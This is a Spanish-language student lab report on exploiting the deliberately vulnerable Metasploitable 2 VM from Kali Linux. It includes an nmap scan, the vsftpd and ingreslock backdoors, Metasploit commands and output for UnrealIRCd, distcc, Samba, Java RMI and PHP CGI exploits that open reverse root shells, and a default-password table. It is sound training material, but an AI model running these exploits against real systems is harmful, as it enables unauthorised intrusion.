0% encontró este documento útil (0 votos)
404 vistas26 páginas

Laboratorio 6 - Metasploitable

La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La versión 2 de esta máquina virtual se encuentra disponible para la descarga desde Sourceforge.net.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
404 vistas26 páginas

Laboratorio 6 - Metasploitable

La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La versión 2 de esta máquina virtual se encuentra disponible para la descarga desde Sourceforge.net.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd

UNIVERSIDAD TECNOLOGICA DE PANAMA

LIC.DESARROLLO DE SOFTWARE
LABORATORIO 6

NOMBRE: ELICIO GÓNDOLA

GRUPO: 1LS142

ASIGNATURA: SEGURIDAD EN LOS SISTEMAS DE INFORMACIÓN

PROFESOR: JOSE MORENO

I SEMESTRE
INTRODUCCION
En este proyecto se realizará paso a paso el ataque desde Kali Linux a Metasploitable,

en VirtualBox.
Laboratorio # 6: Metasploitable 2

Tiempo estimado de duración: 1 hora (60 minutos)

Nota importante: Atienda las instrucciones del profesor para el desarrollo del laboratorio, luego realice
las actividades de acuerdo a sus instrucciones.

Recursos necesarios: Uso de la máquina virtual “Metasploitable”

La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable


diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La
versión 2 de esta máquina virtual se encuentra disponible para la descarga desde
Sourceforge.net. Esta máquina virtual es compatible con VMWare, VirtualBox, y otras
plataformas de virtualización comunes. De manera predeterminada, las interfaces de red de
Metasploitable se encuentran atadas a los adaptadores de red NAT y Host-only, y la imagen no
debe exponerse a una red de producción. Este artículo describe muchas de las fallas de
seguridad en la imagen de Metasploitable 2. En la actualidad hace falta documentación sobre el
servidor web y las fallas de aplicaciones web, así como las vulnerabilidades que permiten a un
usuario local escalar a privilegios de administrador (root).

Primeros Pasos

Después de encender la máquina virtual, inicie sesión en la consola con el usuario “msfadmin”
y contraseña “msfadmin”. Desde la terminal, ejecute el comando ifconfig para identificar la
dirección IP.

msfadmin@metasploitable:~$ ifconfig

eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1


inet
addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Parte 1: Servicios activos
Desde nuestro sistema de ataque (p.e: Kali Linux), identificaremos los servicios de red
abiertos en esta máquina virtual utilizando el programa nmap. La siguiente línea de comando
analizará todos los puertos TCP en la instancia de Metasploitable 2:

root@ubuntu:~# nmap -p0-65535 192.168.99.131


Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open unknown
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open unknown
39292/tcp open unknown
43729/tcp open unknown
44813/tcp open unknown
55852/tcp open unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema.
En la siguiente sección, caminaremos a través de algunos de estos vectores.
Parte 2: Servicios - Backdoors
En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versión en
particular contiene una puerta trasera (backdoor) que fue introducida en el código fuente por un
intruso desconocido. El backdoor fue rápidamente identificado y eliminado, pero no antes de que
unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado
terminando con la secuencia " :) "(carita felíz), la versión con el backdoor abrirá una shell en
escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un módulo de
Metasploit Framework para explotarlo automáticamente:

root@ubuntu:~# telnet 192.168.99.131 21


Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.
En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versión contiene un
backdoor que pasó desapercibido por meses, - disparado al enviar las letras "AB" seguidas de
un comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un módulo
para explotar esto con el fin de obtener una shell interactiva, como se muestra a continuación.

msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your
hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your
hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 ->
192.168.99.131:60257) at 2012-05-31 21:53:59 -0700

id
uid=0(root) gid=0(root)
Mucho menos sutil es el backdoor remanente "ingreslock" que escucha en el puerto 1524. El
puerto ingreslock era una opción popular hace una década para agregar una puerta trasera a un
servidor comprometido. Accederlo es fácil:

root@ubuntu:~# telnet 192.168.99.131 1524


Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
Parte 3: Servicios - Backdoors No-Intencionales

Además de las puertas traseras maliciosas de la sección anterior, algunos servicios son casi
puertas traseras por su propia naturaleza. El primero de estos que está instalado en
Metasploitable 2 es distccd. Este programa hace que sea fácil escalar grandes tareas de
compilación a través de una granja de sistemas que aparentan estar configurados para tal fin. El
problema con este servicio es que un atacante puede abusar de este para ejecutar un comando
a su elección, como lo demuestra el uso del módulo de Metasploit a continuación.

msfconsole
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.99.131
msf exploit(distcc_exec) > exploit

[*] Started reverse double handler


[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 ->
192.168.99.131:38897) at 2012-05-31 22:06:03 -0700
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide
links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un
tipo de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El
siguiente ejemplo utiliza un módulo de Metasploit para proporcionar acceso al sistema de
archivos raíz utilizando una conexión anónima y un recurso compartido con acceso de escritura.

root@ubuntu:~# smbclient -L //192.168.99.131


Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable server
(Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable server
(Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...


[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*] \\192.168.99.131\tmp\rootfs\

msf auxiliary(samba_symlink_traversal) > exit


Parte 5: Contraseñas Débiles

Adicionalmente a las más flagrantes puertas traseras y errores de configuración, Metasploitable


2 tiene terrible seguridad de contraseña tanto para la cuenta del sistema como para la cuenta del
servidor de base de datos. El usuario principal de administración msfadmin tiene una contraseña
que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya
sea mediante el uso de otro defecto para capturar el archivo passwd, o mediante la enumeración
de estos identificadores de usuario a través de Samba, un ataque de fuerza bruta puede ser
utilizado para acceder rápidamente a varias cuentas de usuario. Como mínimo, las siguientes
cuentas débiles del sistema están configuradas en el sistema.

Nombre Cuenta Contraseña


msfadmin msfadmin
user user
postgres postgres
sys batman
klog 123456789
service service

Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con
el nombre de usuario postgres y contraseña postgres, mientras que el servicio de MySQL está
abierto con el nombre de usuario root y con una contraseña en blanco. El servicio de VNC
proporciona el acceso de escritorio remoto a través de la contraseña password.

Instrucciones: Realice los siguientes ejercicios para obtener acceso a la máquina virtual
“Metasploitable”:

Ejercicio 1: VSFTPD v2.3.4 Backdoor

The VSFTPD service running on the system has a backdoor which can be used to gain a root
shell on the system. This can be exploited by using the VSFTPD v2.3.4 Backdoor Command
Execution module.

Comenzaremos como siempre con un escaneo de servicios con nmap, recordemos que es la
opción –sV, que es ruidosa pero al estar este host en un entorno controlado no nos importa
mucho (en la realidad seria distinta la opción, la vía de conexión, etc.) veamos el resultado…

Nos fijamos en el puerto 21 que es el servicio de FTP y que la aplicación que esta detrás es
vsftpd 2.3.4 la cual sabemos que se encuentra “vulnerable”, una búsqueda en metasploit
Framework nos da el exploit adecuado para dicha vulnerabilidad.
Por tanto lo configuraremos, con los comandos set y las distintas opciones RHOST, RPORT y
PAYLOAD para la dirección ip, el puerto, y la carga útil correspondiente, en este caso
seleccionaremos cmd/unix/interact y ejecutaremos el exploit.
Observamos que se abre la shell en el puerto 6200 y comprobamos quienes somos.
Ejercicio 2: GNU Classpath RMI Registry

GNU Classpath es un conjunto de bibliotecas esenciales para soportar el lenguaje de


programación Java. Esta VM ejecuta un registro de objetos remoto para Classpath de GNU
usando credenciales predeterminadas que pueden aprovecharse para obtener un shell en la
máquina usando el módulo Metasploit de Java Code Execution de Java RMI Server.
msf > use exploit/multi/misc/java_jdwp_debugger
use exploit/multi/misc/java_jmx_server
use exploit/multi/misc/java_rmi_server
msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name Current Setting Required Description


---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the
payload request
RHOST 192.168.0.14 yes The target address
RPORT 1099 yes The target port
SRVHOST 192.168.0.13 yes The local host to listen on. This must be
an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description


---- --------------- -------- -----------
LHOST 192.168.0.13 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Generic (Java Payload)

msf exploit(java_rmi_server) > run

[*] Started reverse handler on 192.168.0.13:4444


[*] Using URL: http://192.168.0.13:8080/FcaoZDCI4r
[*] Server started.
[*] 192.168.0.14:1099 - Sending RMI Header...
[*] 192.168.0.14:1099 - Sending RMI Call...
[*] 192.168.0.14 java_rmi_server - Replied to request for payload
JAR
[*] Sending stage (30680 bytes) to 192.168.0.14
[*] Meterpreter session 12 opened (192.168.0.13:4444 ->
192.168.0.14:43425) at 2015-06-14 19:16:03 -0600
[*] Server stopped.

meterpreter > getuid


Server username: root
Ejercicio 3: Unreal IRCd

El demonio Unreal IRC que se ejecuta en el sistema también tiene una puerta trasera que
puede ser explotada mediante el módulo de Metaspoloit “UnrealIRCD 3.2.8.1 Backdoor
Command Execution”.

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor


msf exploit(unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name Current Setting Required Description


---- --------------- -------- -----------
RHOST 192.168.0.14 yes The target address
RPORT 6667 yes The target port

Payload options (cmd/unix/reverse):

Name Current Setting Required Description


---- --------------- -------- -----------
LHOST 192.168.0.13 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic Target

msf exploit(unreal_ircd_3281_backdoor) > run

[*] Started reverse double handler


[*] Connected to 192.168.0.14:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your
hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your
hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo OAMiVx8EoDcU3s4S;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "OAMiVx8EoDcU3s4S\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 14 opened (192.168.0.13:4444 ->
192.168.0.14:46932) at 2015-06-14 19:36:54 -0600

id
uid=0(root) gid=0(root)
Ejercicio 4: Apache httpd

El servidor web Apache tiene una versión vulnerable de PHP instalada que se puede encontrar
visitando /phpinfo.php. Esta versión de PHP es vulnerable a “PHP CGI Argument Injection” y
puede ser explotada usando el módulo Metasploit.

msf > use exploit/multi/http/php_cgi_arg_injection


msf exploit(php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

Name Current Setting Required Description


---- --------------- -------- -----------
PLESK false yes Exploit Plesk
Proxies no A proxy chain of format
type:host:port[,type:host:port][...]
RHOST 192.168.0.14 yes The target address
RPORT 80 yes The target port
TARGETURI no The URI to request (must be a CGI-handled PHP script)
URIENCODING 0 yes Level of URI URIENCODING and padding (0 for
minimum)
VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):


Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.0.13 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(php_cgi_arg_injection) > run

[*] Started reverse handler on 192.168.0.13:4444


[*] Sending stage (40499 bytes) to 192.168.0.14
[*] Meterpreter session 15 opened (192.168.0.13:4444 ->
192.168.0.14:40485) at 2015-06-14 19:42:48 -0600

meterpreter > getuid


Server username: www-data (33)
CONCLUSIÓN
En este proyecto se utilizó un gran conjunto de comandos para realizar el ataque
desde Kali Linux a Metasploitable.

También podría gustarte